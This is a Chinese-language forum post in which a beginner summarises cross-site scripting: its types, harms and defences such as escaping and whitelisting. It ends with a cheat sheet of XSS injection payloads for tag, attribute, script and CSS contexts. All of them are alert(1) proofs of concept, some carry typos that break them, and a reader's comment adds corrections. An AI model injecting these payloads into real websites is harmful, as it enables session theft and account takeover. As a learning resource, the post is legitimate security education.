小白对XSS的初步了解

XSS又叫“CSS”(Cross Site Script),跨站脚本攻击。它指的是恶意攻击者往web页面里面插入恶意的JS(JavaScript)代码,当用户浏览该页之时,嵌入其中的Web里面的JS代码就会被执行,从而达到恶意的特殊目的。
利用我们所知道的各种方法,向Web页面插入JS代码,让JS代码可以被浏览器执行,访问该页面的用户就会被攻击
XSS漏洞的分类
1.反射型XSS,就是通过GET或POST请求时,被后端处理过数据,并且相应到前端页面上。
2.存储型XSS,所传的信息通过数据库并保存(XSS代码被存储到服务器上的数据库里面的某张表的字段里,或者页面,或者某个上传文件里)
3.DOM型XSS,仅仅在前端页面进行操作的
XSS漏洞的危害
1.窃取用户Cookie,如果用户Cookie被盗窃,攻击者可以不通过密码,而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击(钓鱼网站)
4.用户PC信息探测收集器
5.XSS蠕虫攻击
等等

防御手段:
XSS攻击有两大因素:
1.攻击者恶意提交代码
2.浏览器执行恶意代码
根本解决方法:对输入,输出都对输入的字符,数字进行严格的过滤,转义
从输入方面:
对用户输入的点做限制:
URL参数
2.POST,GET等参数
将一些特殊符号转化为实体编码
其次对富文本的输入血药额外注意:
1.首先例行进行输入检测,保证用户输入的是完整的HTML代码,而不是有拼接的代码
2.通过htmlParser解析出HTML代码的标签,属性,事件
3富文本的事件要被禁止,因为富文本并不需要事件这种东西,另外一些危险的标签也要被禁止
如:<iframe>,<script>,<base>,<form>等
利用白名单机制,只允许安全的标签嵌入,列如:<a>,<img>,<div>等,白名单不仅仅适用于标签,属性也实用
5.过滤用户CSS,检测是否有危险代码

输出:
在输出时,所有需要输出到HTML页面的变量,全部需要使用编码或者转义来进行防御
在以下内容输出时也需要注意:
1.在HTML中输出
2.在JavaScript中输出
3.在CSS中输入
4.在URL中输出

常用的攻击代码:
<!--直接插入标签类-->
<script>alert('XSS');</script>
'"><script>alert('XSS')</script>
<img/src=1 onerror=alert(1)/>
'"><img/src=1 onerror=alert(1)/>

<!--插入属性类-->
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`

<!--利用JavaScript等伪协议-->
javascript:alert(1)

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!--data:资源类型;编码,内容-->

<!--先闭合前面标签,在构造新的标签-->
</script><script>alert(1)
作用与css里面
}x:experession(alert(1))
alert(1)//

<!--palyload分析-->
<!--1.如输出点在标签之间-->
<h1>输出点</h1>
<!--利用以上playload可构造成-->
<h1><script>alert("XSS");</script>
<h1><img/scr=1 onerror=alert(1)/></h1>
<!--输出点在元素标签中的属性值之间-->
<input type="text" value="'输入点'">
<input type="text" value="'aaa'"><script>alert('XSS');</script>'">
<input type="text" value="'aaa'"><img/src=1 onerror=alert(1)/>'">
<input type="text" value="(输出点)" >
<input type="text" value="(aaa)"><script>alert('XSS');</script>)">
<input type="text" value="输出点">
<input type="text" value="aaa" onmouseover=alert(1)>">
<input type="text" value="'输出点'">
<input type="text" value="'aaa'" onmouseover=alert(1)>'">
<input type="text" value="`输出点`">
<input type="text" value="`aaa`" onmouseover=alert(1)>`">
<input type="text" value="`aaa`"><script>alert(1);</script>
<!--输出在src/href/action等属性内,比如<a// href="输出点">click me</a>我们可以构造如下playload-->
<a href="输出点">click me<a>
<a href="javascript:alert(1)">click me</a>
<!--如果想使用data协议时,需要协议完整的出现>
<!--如果输出到on事件中。要根据不同的场景,要弄明白我们的输出是整个on事件的值还是以某个函数的参数出现-->
<a herf="#" onclick="eval('[输出]')">click me</a>
<!--直接提交alert(1)即可-->
<a herf="#" onlick="eval('alert(1)')">click me</a>

成为JavaScript代码出现:
<script> a="输出位";</script>
我们可以直接将其<script>标签闭合在重新构造标签
<script> a="输出位" </script><script>alert(1);"";</scropt>
或者直接在其中构造输出的代码
如alert(1);

成为CSS代码出现
输出如果出现在style属性内,对IE来说,style属性值只要能注入expression关键词即可,并进行适当的闭合
如:<a href="#" style="width:1px;"></a>
<a href="#" style=width:1px;x:expression(alert(1));">/></a>

 

 

 

 
 
以上是我对XSS的初步简介和总结的绕过姿势,希望各大老板帮我改错和补充

1 个评论

1.成为JavaScript代码出现,不一定要闭合script,结束语句重写即可,比如 "; alert(1);"
2.成为CSS代码出现,这个只能在IE7以下的版本执行

要回复文章请先登录注册